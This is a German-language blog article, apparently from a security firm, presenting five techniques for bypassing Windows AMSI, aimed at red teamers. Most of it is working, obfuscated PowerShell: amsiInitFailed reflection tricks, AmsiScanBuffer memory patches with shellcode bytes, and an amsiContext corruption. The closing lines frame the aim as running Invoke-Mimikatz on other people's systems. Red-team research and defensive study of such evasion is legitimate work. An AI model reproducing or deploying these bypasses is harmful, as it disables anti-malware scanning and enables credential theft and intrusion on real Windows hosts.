AMSI Bypass 2023: 5 Techniken für EDR/AV-Systeme 

Red Teamer und Penetrationstester müssen häufiger AMSI Bypass Techniken anwenden, doch wozu? Das Umgehen von EDR/AV-Systemen durch das Laden von schadhaftem Code in den Arbeitsspeicher mittels PowerShell gilt als eine der einfachsten Lösungen, um Schadcode auszuführen. Allerdings gibt es eine Hürde, die diesem Ansatz entgegensteht: Das Antimalwarescanning Interface (AMSI). AMSI ist ein grundlegender Bestandteil moderner Sicherheitsarchitekturen, der entwickelt wurde, um verdächtige Skripte und schadhaften Code in Echtzeit zu erkennen und zu blockieren. In diesem Beitrag werden fünf Wege präsentiert, wie AMSI im Jahr 2023 erfolgreich umgangen werden kann. Diese Bypass-Techniken ermöglichen es Red Teamern, ihre Angriffsstrategien zu optimieren und die Schutzmechanismen auf intelligente Weise zu umgehen. Durch subtile Code-Anpassungen und innovative Taktiken zur Tarnung des schadhaften Verhaltens eröffnen sich neue Möglichkeiten in der Welt der AMSI-Evasion.

1) AMSI Bypass durch amsiInitFailed

Durch das Setzen des Flags „amsiInitFailed“ für den aktuellen Prozess kann das Scannen verhindert werden. Bei Bedarf kann zusätzlich eine Obfuskierungstechnik angewandt werden:

$variable1 = 'System.Management.Automation.A'
$variable2 = 'si'
$variable3 = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $variable1, $variable2, $variable3))
$field = $assembly.GetField(('am{0}InitFailed' -f $variable2), 'NonPublic,Static')
$field.SetValue($null, $true)

Ähnlicher Amsi-Bypass von Pentest Laboratories, der nach wie vor funktioniert:

$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))
$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')
$field.SetValue($null,$true)

2) AmsiScanBuffer-Patch

Kleine Modifikation des AmsiScanBuffer-Patches von RastaMouse. AMSI wird umgangen indem die „amsi.dll“-Bibliothek dynamisch geladen wird und die Adresse der Funktion AmsiScanBuffer innerhalb der geladenen Bibliothek abgerufen wird. Durch direkten Zugriff auf die Funktionsadresse und die Manipulation des Speichers kann der nachfolgende Code das Verhalten der AMSI-Überprüfung ändern, ohne dabei erkannt zu werden.

$MysticRealm = @"
using System;
using System.Runtime.InteropServices;
public class MysticRealm {
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type -TypeDefinition $MysticRealm
$emptyVar1 = $null
$emptyVar2 = $null
$emptyVar3 = $null
$scroll = [Byte[]](0x61, 0x6d, 0x73, 0x69, 0x2e, 0x64, 0x6c, 0x6c)
$Book = [MysticRealm]::LoadLibrary([System.Text.Encoding]::ASCII.GetString($scroll))
$scroll2 = [Byte[]] (0x41, 0x6d, 0x73, 0x69, 0x53, 0x63, 0x61, 0x6e, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72)
$SpellLocation = [MysticRealm]::GetProcAddress($Book, [System.Text.Encoding]::ASCII.GetString($scroll2))
$emptyVar4 = $null
$emptyVar5 = $null
$emptyVar6 = $null
$protection = 0
[MysticRealm]::VirtualProtect($SpellLocation, [uint32]5, 0x40, [ref]$protection)
$Spell = [Byte[]] (0x31, 0xC0, 0x05, 0x78, 0x01, 0x19, 0x7F, 0x05, 0xDF, 0xFE, 0xED, 0x00, 0xC3)
#0:  31 c0                   xor    eax,eax
#2:  05 78 01 19 7f          add    eax,0x7f190178
#7:  05 df fe ed 00          add    eax,0xedfedf
#c:  c3                      ret
[System.Runtime.InteropServices.Marshal]::Copy($Spell, 0, $SpellLocation, $Spell.Length)

Ein AMSI-Bypass, der für Windows 11 funktioniert und eine Kombination mehrere Methoden verwendet, wurde von Gustav Shen ausgearbeitet:

function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
     Equals('System.dll')
     }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -like "Ge*P*oc*ddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}


function getDelegateType {
    Param (
     [Parameter(Position = 0, Mandatory = $True)] [Type[]]
     $func, [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('InMemoryModule', $false).
    DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,
    AutoClass', [System.MulticastDelegate])

  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
     SetImplementationFlags('Runtime, Managed')

  $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType,
$func). SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}


$a="A"
$b="msiS"
$c="canB"
$d="uffer"
[IntPtr]$funcAddr = LookupFunc amsi.dll ($a+$b+$c+$d)
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)
$buf = [Byte[]] (0xb8,0x34,0x12,0x07,0x80,0x66,0xb8,0x32,0x00,0xb0,0x57,0xc3)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 12)

3) Opcode Scan und Patching

Diese Binär-Datei von ZeroMemoryEx nutzt Opcode-Scanning und Patching, um die AMSI-Überprüfung zu umgehen. Dabei wird die genaue Adresse des Jump-Befehls durch die Suche nach dem ersten Byte jeder Instruktion ermittelt und anschließend durch Patching des Codes geändert, um die Überprüfung zu umgehen. Eine einfache Technik, um zu überprüfen, ob AMSI wirklich umgangen wurde, ist beispielsweise der String ‚Invoke-Mimikatz‘ ohne Mimikatz wirklich laden zu müssen. Standardgemäß wird der String sofort blockiert, wenn AMSI aktiviert ist.

4) Aufteilung von Zeichenketten

Durch die Aufteilung von Zeichenketten wird AMSI umgangen, da die amsi.dll den Code nicht in seiner vollständigen und erkennbaren Form erhält. Stattdessen wird der Code zur Laufzeit zusammengesetzt, wodurch AMSI Schwierigkeiten hat, den schadhaften Code zu erkennen. 

5) AMSI Bypass für immer – durch minimale Änderungen große Auswirkungen erzielen

Bei der Suche nach einem AMSI-Bypass können ältere Techniken genauso effektiv sein wie neuere Ansätze. Anstatt sich ausschließlich auf die neuesten Methoden zu konzentrieren, besteht die Möglichkeit, ältere Payloads mit Kreativität wieder zum Leben zu erwecken. Durch das Experimentieren mit Bypass-Techniken offenbart sich die Vielfalt der AMSI-Umgehungen. Ein Beispiel dafür ist der von Trendmicro entdeckte AMSI-Bypass, der durch Anpassungen, beispielsweise unter Verwendung der Techniken von Punkt 4), in der Lage war, selbst die aktuellsten Sicherheitsmechanismen zu umgehen.

$assemblyTypeName = "{5}{2}{0}{1}{3}{6}{4}" -f 'ut',('oma'+'t'+'ion.'),'.A',('Ams'+'iUt'),'ls',('S'+'ystem.'+'Manage'+'men'+'t'),'i'
$getFieldName = "{1}{2}{0}" -f ('Co'+'n'+'text'),('am'+'s'),'i'
$bindingFlags = [Reflection.BindingFlags]("{4}{2}{3}{0}{1}" -f('b'+'lic,Sta'+'ti'),'c','P','u',('N'+'on'))
$nullValue = $null

$assemblyType = [Ref].Assembly.GetType($assemblyTypeName)
$field = $assemblyType.GetField($getFieldName, $bindingFlags)
$value = $field.GetValue($nullValue)

[Runtime.InteropServices.Marshal]::WriteInt32($value, 0x41414141)

Ein wenig Proof of Concept:

In der Welt der AMSI-Bypass-Techniken gilt es, die Kreativität zu entfesseln und neue Wege zu entdecken. Selbst minimale Anpassungen können ältere Versionen wiederbeleben und neue Möglichkeiten eröffnen. Die gründliche Untersuchung von AMSI ist für Red Teamer von essentieller Bedeutung, um ein tiefgehendes Verständnis für dessen Funktionsweise zu erlangen. So können PowerShell-Tools wie Invoke-Mimikatz und ähnliche mit Leichtigkeit auf fremden Systemen ausgeführt werden. Hier geht es zu weiteren Artikel bzgl. Red Teaming.